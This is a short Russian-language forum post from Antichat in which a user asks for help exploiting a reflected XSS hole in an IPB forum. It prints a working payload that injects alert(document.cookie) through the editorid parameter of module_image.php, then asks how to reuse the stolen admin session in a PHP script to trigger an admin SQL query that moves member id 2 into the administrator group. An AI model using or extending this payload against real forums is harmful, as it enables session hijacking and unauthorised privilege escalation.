Форум АНТИЧАТ - Нужна помощь с хсс

У меня такой вот вопрос
на форуме IPB есть пасивная хсс

Код:

http://localhost/ipb/jscripts/folder_rte_files/module_image.php?editorid=";alert(document.cookie);var i="

Какаим образом можно использовать эту уязвимость, чтоб задействовать куки в php скрипте
В общем я хочу скриптом сгенерировать такую ссылку

Код:

http://localhost/ipb/admin/index.php?adsess=сесия&act=sql&code=runsql&section=admin&query=UPDATE+ibf_members+SET+mgroup+%3D+%274%27+WHERE+id+%3D+%272%27&st="